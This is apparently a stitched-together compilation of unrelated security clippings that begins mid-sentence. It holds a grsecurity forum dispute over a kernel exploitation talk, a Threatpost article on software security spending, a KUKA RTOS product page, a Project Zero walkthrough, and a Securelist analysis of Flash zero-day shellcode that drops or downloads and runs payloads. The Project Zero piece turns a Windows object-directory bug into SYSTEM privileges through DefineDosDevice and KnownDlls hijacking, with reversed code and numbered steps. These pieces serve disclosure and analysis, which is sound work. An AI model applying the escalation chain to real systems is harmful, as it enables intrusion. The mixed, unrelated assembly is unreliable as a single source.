presentation was entitled "TBA Kernel Fun", setting itself apart from all
other presentations as being completely unnecessarily secretive. The
presentation either went through a secret approval process through the HES
committee \(of which I was a member\) or underwent no form of committee
approval with no submitted abstract. The reason for such unusual secrecy is
puzzling.  
  
We knew from seeing the slides 30 minutes before the presentation that the
attack demonstrated was apparently against a "2.6.36.3-grsec" kernel. We
didn't learn until after the presentation was given that the kernel was
modified to add a fake arbitrary-write vulnerability. I understand the case
where one would do this to demonstrate a technique alone without having to
kill any valuable bugs, but as the presenters themselves brag at the beginning
of the presentation, they've discovered plenty of bugs in the classes required
for their attack, arbitrary-write and arbitrary-read or stack infoleak. Yet
not only was a 6 month old kernel used \(to take advantage of the only core-
kernel stack infoleak published in the past year, out of the dozens applicable
to vanilla Linux kernels\), but the arbitrary-write bug had to be fabricated.
This seems disingenuous, since at least from a reading of the slides
themselves, as I have no knowledge of the way in which the presentation was
given, the introductory slides set up a picture of how buggy the Linux kernel
is \(which is of course true\) and mentions how prevalent the infoleaks, etc
are, creating the suggestion that the conditions for a "bypass" of a
grsecurity kernel are anything but rare. The slides don't mention at all how
specific features of grsecurity can drastically reduce the attack surface of
the kernel and limit the possible damage from rarely-used modules and certain
classes of vulnerabilities.  
  
I object to the use of "bypass" when referring to a security system with
dozens of features. An example of a bypass would be the various
mmap\_min\_addr bypasses that existed: in these cases it was always possible
to achieve the same goal and abuse the same vulnerabilities. In the case of
this presentation, what is being bypassed exactly? The features with defined
protections worked as intended, preventing them from abusing certain
vulnerabilities that would have been usable on vanilla kernels. The exploit
was done within a known attack space mentioned specifically in the PaX
documentation \(nothing can currently stop an arbitrary read+write\). Because
it's very difficult to do anything about this class \(especially when still
meeting usability and performance requirements\) I've been focusing on, and I
believe have been successful at, reducing the reachability of vulns in general
\(including those of this class\) and in reducing their scope \(turning a
linear overflow into a write bounded by the heap object itself, for
instance\). Bugs of this class are getting more rare as they're eventually
weeded out. Arbitrary read/write bugs often arise out of the non-existence of
bounds/sanity checking, which in many cases are easier to spot than the more
prevalent bugs of some form of read/write with added constraints, due to the
deceiving nature of any existing \(flawed\) bounds/sanity checking.  
  
So I'm left wondering why an attack with so little real-life application
compared to the other things we deal with in grsecurity required so much hype-
inducing secrecy. Did they know the technique could be killed and wanted to
make sure they could give both presentations with a still-relevant attack?  
  
For people I consider friends and colleagues, this was a slap in the face. I
don't find it to be acceptable and have received no apology. So today, prior
to their repeat presentation, I'm announcing the death of every single
technique they presented at HES. I hope the message will be clear for others
in the future that working with us will be much less painful than the
alternative. It should also be clear to those interested in secrecy and hype-
at-any-cost that a subsequent "reality adjustment" will be swift. This release
time wasn't chosen intentionally: the PaX Team and I have been using all of
our spare time since last Friday to write this up, test it, and port it to the
kernels we support. In fact, we've taken great pains to make sure it was
complete long before I return home on Sunday, ironically about 30 minutes
before their repeat presentation would begin.  
  
Enough talk. Here's what we've done:  
  
Moved thread\_info off the kernel stack completely for both i386 and amd64 --
it's now located in the task struct, which is located in its own slab cache.  
  
Implemented PAX\_RANDKSTACK for amd64 \(without requiring MSR access,
performance hit is the same as the i386 version since it calls the same
function\). This is applied per-syscall, making it essentially immune to
infoleaks against the stack pointer itself, the same as on the i386 version.  
  
Implemented additional protection in PAX\_USERCOPY by identifying which slab
caches required direct reads/writes from the userland accessor functions. Slab
cache information is free within the current PAX\_USERCOPY framework. We
implemented a whitelist-based approach, and rewrote several areas of code to
remove the need for direct reads/writes to certain structures so that the
associated slab caches can be protected against direct reads/writes to/from
userland. The technique allows for individual allocations within the
whitelisted caches to be marked in the future, so that certain sensitive
structures can be better protected. Of particular note is that task structs
are protected under this mechanism.  
  
Implemented active response against kernel exploitation. Attacks by
unprivileged users will result in a permanent ban of the user \(all processes
killed, no new processes allowed\) until system reboot. Attacks by root
\(either by real uid-0 or as fallout from buggy post-exploitation cleanup\) or
while in interrupt context result in a system panic.  
  
Extended automatic bruteforce deterrence to apply to suid/sgid binaries --
detected PaX terminations or crashes will result in a 15 minute user ban \(the
amount of time intended to help offset entropy reduction attacks\).  
  
Improved MODHARDEN -- removed the fallback in netdev code to allow auto-
loading any module when CAP\_SYS\_MODULE is present. The PaX Team came up with
the beautiful idea, and I implemented a system by which we can control the
entire asynchronous procedure of module auto-loading, along with correlating
it with the original requester. Through this system, we can ensure \(for
instance\) that mount -t can only cause filesystem modules to be loaded
\(verified through symbol inspection at load time\). This system also has the
side-effect of removing unnecessary reports for non-existent modules, as was
the case in the previous system \(since at request time we couldn't know
whether the module existed or not\). All these changes allow us to make
stronger guarantees about the feature, regardless of any buggy privileged user
code that performs certain actions on behalf of unprivileged users through
dbus or the like.  
  
TL;DR: Lack of coordination works both ways. Enjoy presenting a dead technique
at Infiltrate; I hope the 15 minutes of fame from last week was worth it. If
your path to infosec famedom involves screwing over friends for a free plane
ride and hotel, you picked the wrong people. In case you'd like to continue
this game, we're more than capable and willing to kill anything else you come
up with <img src='img/Temp2_10279.gif' alt=';)' /> Thanks for playing.  
  
-Brad
spender

    
    **Posts:** 1481
    **Joined:** Wed Feb 20, 2002 8:00 pm
    **Location:** VA, USA
    
  * 

Top

### Re: Much Ado About Nothing: A Response in Text and Code

<img src='img/Temp2_10278.gif' width='11' height='9' alt='Post' />by
**drosenbe** » Sun Apr 17, 2011 12:31 am

Brad,  
  
It saddens me that you felt the need to write this post in such an
inflammatory manner, as I continue to have the utmost respect for your and the
PaX Team's work.  
  
First and foremost, I'd like to offer a public apology for the aspects of our
presentation and its handling that led you to believe this was a personal
attack - I certainly never intended it to be interpreted as such. As for the
secrecy, the lack of advance coordination, and the \(relatively minor\)
attention the talk has received, I have little to offer in the way of excuses
except that you of all people should know how easy it is to get sucked up in
the hype machine of the security circus. You have directly contributed to this
hype by making public challenges about continued conference requirements for
grsecurity/PaX exploitation talks and the lack of researcher response. That
being said, all this was most likely unnecessary in this case, but hindsight
is 20/20.  
  
If the contents of our talk posed any immediate danger to users of grsecurity
or represented a fundamental breach of a piece of implemented functionality,
you would have been the first to hear about it. However, we have no illusions
about the fact that our techniques do not pose this threat. Instead, we chose
to present a study of how difficult it is to exploit a grsecurity kernel - the
answer turns out to be "very". We chose to leverage basic exploitation
primitives whose existence are admittedly infrequent but are certainly more
common than most kernel vulnerabilities, which tend to be rather esoteric.
Rather than being a cop-out, as you've suggested, this was done in an attempt
to make our presentation more general, rather than a specific case study. We
were explicitly clear in our presentation that the existence of an arbitrary
write and a kernel stack leak were prerequisite assumptions for our attack,
and I don't think anyone was deceived into thinking we were leveraging
undisclosed vulnerabilities. Just in case, we'll be sure to clarify that our
arbitrary write was artificially introduced during our talk tomorrow.  
  
You seem to think that your introduction of new grsecurity features and
strengthening of existing ones will somehow ruin our day - quite the contrary.
I'm very pleased that these new improvements have been introduced, as they
represent the continued evolution of defensive security in the face of new
offensive threats \(regardless of your opinion of the real-life utility of
these threats\). We'll be sure to mention these new features in Miami, and
we're glad to have played at least a minor role in their creation - I only
wish they had been presented in friendlier circumstances, and I again
apologize for my role in the lack of communication that led to this
disconnect.  
  
I don't think there's any reason to feel as though our talk was a critique of
grsec. The whole point is that grsecurity/PaX continues to represent the
cutting edge in proactive security, and that many hoops need to be jumped
through in order to leverage even powerful vulnerabilities into getting root.
Keep up the great work, and I'm looking forward to continued improvements.  
  
Regards,  
Dan

# Software Security Programs May Not Be Worth the Investment for Many Companies | threatpost
**Created:**| _3/1/2013 12:23:37 PM_  
---|---  
**Updated:**| _3/1/2013 12:23:37 PM_  
**Author:**| __  
**Tags:**| __  
  

# Software Security Programs May Not Be Worth the Investment for Many
Companies

SAN FRANCISCO--The discipline of software security  has been gaining traction
in a lot of organizations both large and small in recent years, thanks in part
to the success that vendors such as Microsoft, Adobe and others have had with
it. However, for many companies, the time and money spent on software security
initiatives could be put to better use simply fixing flaws after products ship
or are deployed, an expert said.

For large software companies or major corporations such as banks or health
care firms with large custom software bases, investing in software security
can prove to be valuable and provide a measurable return on investment, but
that's probably not the case for smaller enterprises, said John Viega,
executive vice president of products, strategy and services at SilverSky and
an authority on software security. Viega, who formerly worked on product
security at McAfee and as a consultant at Cigital, said that when he was at
McAfee he could not find a return on investment for software security.

"As far as we could measure, it was an absolute waste of money," he said
during a panel discussion with Brad Arkin , the senior director of security,
standards, open source and accessibility at Adobe, at the RSA Conference here
Wednesday. "For most companies it's going to be far cheaper and serve their
customers a lot better if they don't do anything \[about security bugs\] until
something happens. You're better off waiting for the market to pressure on you
to do it."

<img src='img/Temp2_7620.jpg' alt='Brad Arkin John Viega' />

Viega said that during one of the years he was at McAfee, the company had
three publicly disclosed security flaws and it cost less than $50,000 total to
deal with all three, including communications, QA and other costs. A
comprehensive software security program, by contrast, could cost seven figures
and produce even more costs in terms of productivity losses, he said.

"There's a whole class of companies where it doesn't make sense to do
anything, or just to do the bare minimum," Viega said.

However, for a company such as Adobe, whose products run on more than a
billion PCs and are under constant assault from attackers and security
researchers, it's a story. There, software security is a major part of the
product development process and also includes training for developers.

"An exploit that works against Reader or Flash puts more than a billion
computers at risk. The cost of getting those fixes out is so high that we need
to invest everything we can to fix those problems before we ship," said Arkin.
"We train far and wide. The chances are that most people who come to us have
no security training, so raising the security IQ is a really good thing in our
environment."

Arkin said that while Adobe spends considerable time and money every year
finding and fixing vulnerabilities in its products, that doesn't mean that his
team obsesses about every small flaw. Rather, they spend their time looking
for ways to defeat attackers' exploits against large swaths of bugs.

"If you're fixing every little bug, you're wasting the time you could've used
to mitigate whole classes of bugs," he said. "Manual code review is a waste of
time. If you think you're going to make your product better by having a lot of
eyeballs look at a lot of code, that's the worst use of human labor."

The security development lifecycle processes used at some large software
companies--notably Microsoft--also probably aren't the best use of resources
for smaller development organizations, Viega said.

"I know dozens and dozens of companies who look at the SDLC and say, 'Are you
kidding me? This would put me out of business.' Training is a total waste of
money. Most people don't want to be in the room. Training the average
developer is an absolute waste of time," Viega said.

Fixing the problem of vulnerabilities in commercial software has been a topic
in the industry for decades, and there has been some talk in recent years of
the possibility of legislation to address it. Both Viega and Arkin said that
any law designed to regulate software security would be useless.

"Legislation is a terrible idea. I have three letters for you: PCI. Thank God
we've never had another credit card compromise after that was put in place,"
Arkin said, referring to the PCI-DSS security standard developed by the
payment card providers. Any legislation would be so outdated by the time it's
printed it would be laughable. Would anyone want to see the government's
language on preventing buffer overflows?"

Commenting on this Article will be automatically closed on May 27, 2013.

# KUKA RTOS - VmfWin

**Created:**| _1/5/2011 1:06:30 PM_  
---|---  
**Updated:**| _1/5/2011 1:06:49 PM_  
**Author:**| __  
**Tags:**| _bookmark virtusalisation_  
  
|  |  |  | 
# Windows Real-time Virtualization Platform: The Virtual Machine Framework for
Windows  
---  
The KUKA Virtual Machine Framework together with the underlying RTOS Virtual
Machine are a world-wide unique, sophisticated platform for running any off-
the-shelf Real-time Operating System \(RTOS\) co-existently with Microsoft
Windows® \(XP, XPembedded, Vista\)  
|  <img src='img/Temp2_4749.jpg' alt='Virtual Machine Framework for Windows'
/> RTOSWin Architecture

# Embedding a RTOS or Real-time Firmware into Windows®

The real-time software may either run with high priority together with Windows
on the same CPU core \(without real-time restrictions\!\) or it may
exclusively facilitate one ore more CPU cores. Running different real-time
operating systems as well as different instances of the same RTOS on different
CPU cores is possible. Shipped with VmfWin the example Mini RTOS and Mini BSP
serve as a starting point for porting a new RTOS on top of this platform.  
This simple implementation shows how to use the platform's hardware
abstraction layer \(timer, interrupt controller, ...\) and how to set up the
processor memory management unit as well as starting further CPU cores to run
a SMP system.  
---  
|

# Unique performance scalability: Single-Core and Multi-Core CPU Support

The Virtual Machine Framework for Windows is supporting single-core and multi-
core systems in shared mode and exclusive mode operation. The two operating
modes are explained on a single-core and dual-core system.

  * _Single-Core_ \(_shared mode operation_\)
    * Windows® runs in idle loop of the real-time operating system
  * _Multi-Core_ \(_exclusive mode operation_\) 
    * Windows® on first CPU Core
    * RTOS on second CPU Core
  * _Multi-Core_ \(_shared mode operation_\) 
    * Windows may use the second CPU Core instead of the RTOS spinning around in its idle loop

  
---  
|

# Flexible CPU usage in a Multi-OS and Multi-Core environment

  * Execute any arbitrary RTOS on different CPU Cores
  * CPU Cores may be connected together to form a symmetric multiprocessing \(**SMP**\) system  
For Example:

    * 2 CPU Cores for Windows®
    * 2 CPU Cores for VxWorks SMP
  * RTOS SMP operation possible even on Dual-Core CPUs\!

  
---  
|

# Sophisticated Platform

  * The same RTOS-Image may run on a single-core system or a multi-core system just by changing configuration parameters
  * Changing the RTOS-VM \(maintenance\) is possible without updating the RTOS-Image
  * The RTOS-VM supports **all** Intel as well as AMD processors 
    * hardware specific processor virtualization like Intel-VT or AMD-V is _**not**_ required
  * The same RTOS image runs on all PC hardware
  * RTOS Device-Management 
    * Assign the hardware devices to the appropriate RTOS in the Windows Device Manager
  * 2 programmable virtual timers \(at independent arbitrary cycle times\).
  * Timestamping and performance analysis functions.

  
---  
|

# Additional Services: Windows/RTOS Communication

  * Shared Memory 
    * Direct access to shared memory areas
  * Shared Events 
    * Notification using named events
  * Date and Time Synchronization
  * Data Access Synchronization 
    * Interlocked Data Access
  * Virtual Serial Channel
  * Network Packet Library 
    * Basic Ethernet data transfer service

  
---  
|

# New Windows/RTOS platform can be built fast and simple

  * No platform porting necessary 
    * The RTOS-VM is a binary module
  * RTOS adaptation is as simple as writing a new Board Support Package
  * Hardware access usually via VMF function calls 
    * no need to understand the complex PC hardware
    * especially of multi core systems
  * Network Packet Library 
    * Getting Windows/RTOS network communication up and running very fast

  
---

# Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation
for Local Elevation of Privilege

**Created:**| _9/23/2018 8:49:01 AM_  
---|---  
**Updated:**| _9/23/2018 8:49:01 AM_  
**Author:**| _wishi_  
**Tags:**| _Exploit windows environment windows-environment_  
  

  

###  Windows Exploitation Tricks: Exploiting Arbitrary Object Directory
Creation for Local Elevation of Privilege

Posted by James Forshaw, Project Zero

  

And we’re back again for another blog in my series on Windows Exploitation
tricks. This time I’ll detail how I was able to exploit Issue 1550 which
results in an arbitrary object directory being created by using a useful
behavior of the CSRSS privileged process. Once again by detailing how I’d
exploit a particular vulnerability I hope that readers get a better
understanding of the complexity of the Windows operating system as well as
giving Microsoft information on non-memory corruption exploitation techniques
so that they can mitigate them in some way.

##  Quick Overview of the Vulnerability

Object Manager directories are unrelated to normal file directories. The
directories are created and manipulated using a separate set of system calls
such as NtCreateDirectoryObject rather than NtCreateFile. Even though they’re
not file directories they’re vulnerable to many of the same classes of issues
as you’d find on a file system including privileged creation and symbolic link
planting attacks.

**  
**

Issue 1550 is a vulnerability that allows the creation of a directory inside a
user-controllable location while running as SYSTEM. The root of the bug is in
the creation of Desktop Bridge applications. The AppInfo service, which is
responsible for creating the new application, calls the undocumented API
CreateAppContainerToken to do some internal housekeeping. Unfortunately this
API creates object directories under the user’s AppContainerNamedObjects
object directory to support redirecting BaseNamedObjects and RPC endpoints by
the OS.

**  
**

As the API is called without impersonating the user \(it’s normally called in
CreateProcess where it typically isn’t as big an issue\) the object
directories are created with the identity of the service, which is SYSTEM. As
the user can write arbitrary objects to their AppContainerNamedObjects
directory they could drop an object manager symbolic link and redirect the
directory creation to almost anywhere in the object manager namespace. As a
bonus the directory is created with an explicit security descriptor which
allows the user full access, this will become very important for exploitation.

**  
**

One difficulty in exploiting this vulnerability is that if the object
directory isn’t created under AppContainerNamedObjects because we’ve
redirected its location then the underlying NtCreateLowBoxToken system call
which performs the token creation and captures a handle to the directory as
part of its operation will fail. The directory will be created but almost
immediately deleted again. This behavior is actually due to an earlier issue I
reported which changes the system call’s behavior. This is still exploitable
by opening a handle to the created directory before it’s deleted, and in
practice it seems winning this race is reliable as long as your system has
multiple processors \(which is basically any modern system\). With an open
handle the directory is kept alive as long as needed for exploitation.

**  
**

This is the point where the original PoC I sent to MSRC stopped, all the PoC
did was create an arbitrary object directory. You can find this PoC attached
to the initial bug report in the issue tracker. Now let’s get into how we
might exploit this vulnerability to go from a normal user account to a
privileged SYSTEM account.

##  Exploitation

The main problem for exploitation is finding a location in which we can create
an object directory which can then be leveraged to elevate our privileges.
This turns out to be harder than you might think. While almost all Windows
applications use object directories under the hood, such as BaseNamedObjects,
the applications typically interact with existing directories which the
vulnerability can’t be used to modify.

**  
**

An object directory that would be interesting to abuse is KnownDlls \(which I
mentioned briefly in the previous blog in this series\). This object directory
contains a list of named image section objects, of the form NAME.DLL. When an
application calls LoadLibrary on a DLL inside the SYSTEM32 directory the
loader first checks if an existing image section is present inside the
KnownDlls object directory, if the section exists then that will be loaded
instead of creating a new section object.

**  
**

<img
src='img/XJdXZuVmgt1KB7oM34Z-8V02499ZBX3jYOaKmOAIxElGx8rLPO15_-ZHQdCvxOLsLxezGXVSaLHZ9M6gittIFm_OzV_FwKX3xRFB7z0sfd9AqCss5ERWEtq8ZITlMyOfFAFL_r6-.png'
width='624' height='277' />

**  
**

KnownDlls is restricted to only being writable by administrators \(not
strictly true as we’ll see\) because if you could drop an arbitrary section
object inside this directory you could force a system service to load the
named DLL, for example using the Diagnostics Hub service I described in my
last blog post, and it would map the section, not the file on disk. However
the vulnerability can’t be used to modify the KnownDlls object directory other
than adding a new child directory which doesn’t help in exploitation. Maybe we
can target KnownDlls indirectly by abusing other functionality which our
vulnerability can be used with?

**  
**

Whenever I do research into particular areas of a product I will always note
down interesting or unexpected behavior. One example of interesting behavior I
discovered when I was researching Windows symbolic links. The Win32 APIs
support a function called DefineDosDevice, the purpose of this API is to allow
a user to define a new DOS drive letter. The API takes three parameters, a set
of flags, the drive prefix \(e.g. X:\) to create and the target device to map
that drive to. The API’s primary use is in things like the CMD SUBST command.

**  
**

On modern versions of Windows this API creates an object manager symbolic link
inside the user’s own DOS device object directory, a location which can be
written to by a normal low privileged user account. However if you look at the
implementation of DefineDosDevice you’ll find that it’s not implemented in the
caller’s process. Instead the implementation calls an RPC method inside the
current session’s CSRSS service, specifically the method
BaseSrvDefineDosDevice inside BASESRV.DLL. The main reason for calling into a
privileged service is it allows a user to create a permanent symbolic link
which doesn’t get deleted when all handles to the symbolic link object are
closed. Normally to create a permanent named kernel object you need the
SeCreatePermanentPrivilege privilege, however a normal user does not have that
privilege. On the other hand CSRSS does, so by calling into that service we
can create the permanent symbolic link.

**  
**

The ability to create a permanent symbolic link is certainly interesting, but
if we were limited to only creating drive letters in the user’s DOS devices
directory it wouldn’t be especially useful. I also noticed that the
implementation never verified that the lpDeviceName parameter is a drive
letter. For example you could specify a name of “GLOBALROOT\RPC Control\ABC”
and it would actually create a symbolic link outside of the user’s DosDevices
directory, specifically in this case the path “\RPC Control\ABC”. This is
because the implementation prepends the DosDevice prefix “\??” to the device
name and passes it to NtCreateSymbolicLink. The kernel would follow the full
path, finding GLOBALROOT which is a special symbolic link to return to the
root and then follow the path to creating the arbitrary object. It was unclear
if this was intentional behavior so I looked in more depth at the
implementation in CSRSS, which is shown in abbreviated form below.

**  
**

NTSTATUS BaseSrvDefineDosDevice\(DWORD dwFlags,  
LPCWSTR lpDeviceName,  
LPCWSTR lpTargetPath\) \{  
WCHAR device\_name\[\];  
snwprintf\_s\(device\_name, L"\\\??\\\%s", lpDeviceName\);  
UNICODE\_STRING device\_name\_ustr;  
OBJECT\_ATTRIBUTES objattr;  
RtlInitUnicodeString\(&device\_name\_ustr, device\_name\);  
InitializeObjectAttributes\(&objattr, &device\_name\_ustr,

OBJ\_CASE\_INSENSITIVE\);  
  
BOOLEAN enable\_impersonation = TRUE;  
CsrImpersonateClient\(\);  
HANDLE handle;  
NTSTATUS status = NtOpenSymbolicLinkObject\(&handle, DELETE, &objattr\);①  
CsrRevertToSelf\(\);  
  
if \(NT\_SUCCESS\(status\)\) \{  
BOOLEAN is\_global = FALSE;  
  
// Check if we opened a global symbolic link.  
IsGlobalSymbolicLink\(handle, &is\_global\); ②  
if \(is\_global\) \{  
enable\_impersonation = FALSE; ③  
snwprintf\_s\(device\_name, L"\\\GLOBAL??\\\%s", lpDeviceName\);  
RtlInitUnicodeString\(&device\_name\_ustr, device\_name\);  
\}  
  
// Delete the existing symbolic link.  
NtMakeTemporaryObject\(handle\);  
NtClose\(handle\);  
\}  
  
if \(enable\_impersonation\) \{ ④  
CsrRevertToSelf\(\);  
\}  
  
// Create the symbolic link.  
UNICODE\_STRING target\_name\_ustr;  
RtlInitUnicodeString\(&target\_name\_ustr, lpTargetPath\);  
  
status = NtCreateSymbolicLinkObject\(&handle, MAXIMUM\_ALLOWED,

objattr, target\_name\_ustr\); ⑤  
  
if \(enable\_impersonation\) \{ ⑥  
CsrRevertToSelf\(\);  
\}  
if \(NT\_SUCCESS\(status\)\) \{  
status = NtMakePermanentObject\(handle\); ⑦  
NtClose\(handle\);  
\}  
return status;  
\}

**  
**

We can see the first thing the code does is build the device name path then
try and open the symbolic link object for DELETE access ①. This is because the
API supports redefining an existing symbolic link, so it must first try to
delete the old link. If we follow the default path where the link doesn’t
exist we’ll see the code impersonates the caller \(the low privileged user in
this case\) ④ then creates the symbolic link object ⑤, reverts the
impersonation ⑥ and makes the object permanent ⑦ before returning the status
of the operation. Nothing too surprising, we can understand why we can create
arbitrary symbolic links because all the code does is prefix the passed device
name with “\??”. As the code impersonates the caller when doing any
significant operation we can only create the link in a location that the user
could already write to.

**  
**

What’s more interesting is the middle conditional, where the target symbolic
link is opened for DELETE access, which is needed to call
NtMakeTemporaryObject. The opened handle is passed to another function ②,
IsGlobalSymbolicLink, and based on the result of that function a flag
disabling impersonation is set and the device name is recreated again with the
global DOS device location \GLOBAL?? as the prefix ③. What is
IsGlobalSymbolicLink doing? Again we can just RE the function and check.

**  
**

void IsGlobalSymbolicLink\(HANDLE handle, BOOLEAN\* is\_global\) \{  
BYTE buffer\[0x1000\];  
NtQueryObject\(handle, ObjectNameInformation, buffer, sizeof\(buffer\)\);  
UNICODE\_STRING prefix;  
RtlInitUnicodeString\(&prefix, L"\\\GLOBAL??\\\"\);  
// Check if object name starts with \GLOBAL??  
\*is\_global = RtlPrefixUnicodeString\(&prefix, \(PUNICODE\_STRING\)buffer\);  
\}

**  
**

The code checks if the opened object’s name starts with \GLOBAL??\. If so it
sets the is\_global flag to TRUE. This results in the flag enabling
impersonation being cleared and the device name being rewritten. What this
means is that if the caller has DELETE access to a symbolic link inside the
global DOS device directory then the symbolic link will be recreated without
any impersonation, which means it will be created as the SYSTEM user. This in
itself doesn’t sound especially interesting as by default only an
administrator could open one of the global symbolic links for DELETE access.
However, what if we could create a child directory underneath the global DOS
device directory which could be written to by a low privileged user? Any
symbolic link in that directory could be opened for DELETE access as the low
privileged user could specify any access they liked, the code would flag the
link as being global, when in fact that’s not really the case, disable
impersonation and recreate it as SYSTEM. And guess what, we have a
vulnerability which would allow us to create an arbitrary object directory
under the global DOS device directory.

**  
**

Again this might not be very exploitable if it wasn’t for the rewriting of the
path. We can abuse the fact that the path “\??\ABC” isn’t the same as
“\GLOBAL??\ABC” to construct a mechanism to create an arbitrary symbolic link
anywhere in the object manager namespace as SYSTEM. How does this help us? If
you write a symbolic link to KnownDlls then it will be followed by the kernel
when opening a section requested by DLL loader. Therefore even though we can’t
directly create a new section object inside KnownDlls, we can create a
symbolic link which points outside that directory to a place that the low-
privileged user can create the section object. We can now abuse the hijack to
load an arbitrary DLL into memory inside a privileged process and privilege
elevation is achieved.

**  
**

Pulling this all together we can exploit our vulnerability using the following
steps:

  

  1. Use the vulnerability to create the directory “\GLOBAL??\KnownDlls”
  2. Create a symbolic link inside the new directory with the name of the DLL to hijack, such as TAPI32.DLL. The target of this link doesn’t matter.
  3. Inside the user’s DOS device directory create a new symbolic link called “GLOBALROOT” pointing to “\GLOBAL??”. This will override the real GLOBALROOT symbolic link object when a caller accesses it via the user’s DOS device directory. 
  4. Call DefineDosDevice specifying a device name of “GLOBALROOT\KnownDlls\TAPI32.DLL” and a target path of a location that the user can create section objects inside. This will result in the following operations:
    1. CSRSS opens the symbolic link “\??\GLOBALROOT\KnownDlls\TAPI32.DLL” which results in opening “\GLOBAL??\KnownDlls\TAPI32.DLL”. As this is controlled by the user the open succeeds, and the link is considered global which disables impersonation.
    2. CSRSS rewrites the path to “\GLOBAL??\GLOBALROOT\KnownDlls\TAPI32.DLL” then calls NtCreateSymbolicLinkObject without impersonation. This results in following the real GLOBALROOT link, which results in creating the symbolic link “\KnownDlls\TAPI32.DLL” with an arbitrary target path.
  5. Create the image section object at the target location for an arbitrary DLL, then force it to be loaded into a privileged service such as the Diagnostics Hub by getting the service to call LoadLibrary with a path to TAPI32.DLL.
  6. Privilege escalation is achieved. 

**  
**

Abusing the DefineDosDevice API actually has a second use, it’s an
Administrator to Protected Process Light \(PPL\) bypass. PPL processes still
use KnownDlls, so if you can add a new entry you can inject code into the
protected process. To prevent that attack vector Windows marks the KnownDlls
directory with a Process Trust Label which blocks all but the highest level
level PPL process from writing to it, as shown below.

**  
**

<img
src='img/7GceyBOKV4FxU_5_sZwCvTP0etJcDns6KQPnoDlg5ooZ8-Z1BE4vfdHfZOYCv8-yzjB9xfz0C0r3q5M7NWhHCMyr2s1XFpcuOPGLpU3yY_s2oKab7PiT7AHPBiRpTRHFzYfLFIbj.png'
width='624' height='283' />

**  
**

How does our exploit work then? CSRSS actually runs as the highest level PPL
so is allowed to write to the KnownDlls directory. Once the impersonation is
dropped the identity of the process is used which will allow full access.

**  
**

If you want to test this exploit I’ve attached the new PoC to the issue
tracker here.

##  Wrapping Up

You might wonder at this point if I reported the behavior of DefineDosDevice
to MSRC? I didn’t, mainly because it’s not in itself a vulnerability. Even in
the case of Administrator to PPL, MSRC do not consider that a serviceable
security boundary \(example\). Of course the Windows developers might choose
to try and change this behavior in the future, assuming it doesn’t cause a
major regression in compatibility. This function has been around since the
early days of Windows and the current behavior since at least Windows XP so
there’s probably something which relies on it. By describing this exploit in
detail, I want to give MS as much information as necessary to address the
exploitation technique in the future.

**  
**

I did report the vulnerability to MSRC and it was fixed in the June 2018
patches. How did Microsoft fix the vulnerability? The developers added a new
API, CreateAppContainerTokenForUser which impersonates the token during
creation of the new AppContainer token. By impersonating during token creation
the code ensures that all objects are created only with the privileges of the
user. As it’s a new API existing code would have to be changed to use it,
therefore there’s a chance you could still find code which uses the old
CreateAppContainerToken in a vulnerable pattern.

  

Exploiting vulnerabilities on any platform sometimes requires pretty in-depth
knowledge about how different components interact. In this case while the
initial vulnerability was clearly a security issue, it’s not clear how you
could proceed to full exploitation. It’s always worth keeping a log of
interesting behavior which you encounter during reverse engineering as even if
something is not a security bug itself, it might be useful to exploit another
vulnerability.

Posted by  Ben at 10:00 AM

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

  

  *[10:00 AM]: 2018-08-14T10:00:00-07:00

# CVE-2014-0497 – a 0-day vulnerability - Securelist

**Created:**| _2/5/2014 5:45:02 PM_  
---|---  
**Updated:**| _2/5/2014 5:45:02 PM_  
**Author:**| __  
**Tags:**| _Flash vulnerability_  
  

# CVE-2014-0497 – a 0-day vulnerability

A short while ago, we came across a set of similar SWF exploits and were
unable to determine which vulnerability they exploited.

We reported this to Adobe and it turned out that these ITW exploits targeted a
0-day vulnerability. Today, Adobe released a patch for the vulnerability.

This post provides a technical analysis of the exploits and payload that we
discovered.

All in all, we discovered a total of 11 exploits, which work on the following
versions of Adobe Flash Player:

`11.3.372.94  
11.3.375.10  
11.3.376.12  
11.3.377.15  
11.3.378.5  
11.3.379.14  
11.6.602.167  
11.6.602.180  
11.7.700.169  
11.7.700.202  
11.7.700.224`

All of the exploits exploit the same vulnerability and all are unpacked SWF
files. All have identical actionscript code, which performs an operating
system version check. The exploits only work under the following Windows
versions: XP, Vista, 2003 R2, 2003, 7, 7x64, 2008 R2, 2008, 8, 8x64. Some of
the samples also have a check in place which makes the exploits terminate
under Windows 8.1 and 8.1 x64.

<img src='img/Temp2_1343.gif' />

**Operating system version check algorithm**

If the OS version check is successful, control is passed to functions which
assemble ROP chains depending on the Flash Player version. Curiously, there
are two such functions – one for Windows 8 / 8x64 and the other for all other
versions of Windows.

<img src='img/Temp2_1343.gif' />

**The algorithm that checks Flash Player version and assembles an ROP chain**

Next, a shellcode specific to the version of Windows used is generated and the
vulnerability is exploited.

<img src='img/Temp2_1343.gif' />

**Code fragment which generates the shellcode**

We discovered three types of shellcode. The first is a primitive shellcode
that reads an executable named a.exe from an SWF file and drops it to the hard
drive. Only one of the 11 exploits in our possession \(all detected by
Kaspersky Lab products as HEUR:Exploit.SWF.Agent.gen\) included a payload, but
this is discussed below.

<img src='img/Temp2_1343.gif' />

**The shellcode that reads an embedded file from an exploit and drops it to
the hard drive**

The second type downloads and executes a file from a URL passed in the SWF
file’s parameters. Unfortunately, since we do not have the containers that can
pass parameters \(html/docx\), we were unable to check what is downloaded and
from where.

<img src='img/Temp2_1343.gif' />

<img src='img/Temp2_1343.gif' />

**Code which inserts the URL passed in parameters into the shellcode \(+
checks the Flash Player type and whether a debugger is present\)**

The third shellcode type, which is only present in some of the files, is the
most interesting. Its main purpose is to use MessageBox to display a dialog
window with the following strings:

«Oops – what happened ?X “

«You have been owned by CorelanX »

It is not impossible that these messages are connected with the Corelan team.

As for the SWF files, we found out with the help of KSN that they were
embedded into .docx documents with the following Korean names:

<img src='img/Temp2_1343.gif' />

A machine-generated translation of these names reads as follows: “List of the
latest Japanese AV wind and how to use torrents.docx”.

We discovered that these exploits had been detected on three different user
machines, one of which worked under Mac OS 10.6.8 and the other two under
Windows 7. On the Mac user’s machine, the exploits were detected in an email
attachment. On the Windows 7 machines, they were in a browser cache, but this
does not mean the files were not loaded from an email attachment, since
Outlook can call Internet Explorer components to open files. Judging by the IP
addresses, all these users are located in China. The browser used was
SogouExplorer, which originates from China, and the mailbox was hosted on
163.com. All of this may be an indication that the .docx document with the
0-day exploit was distributed via a targeted email mailing.

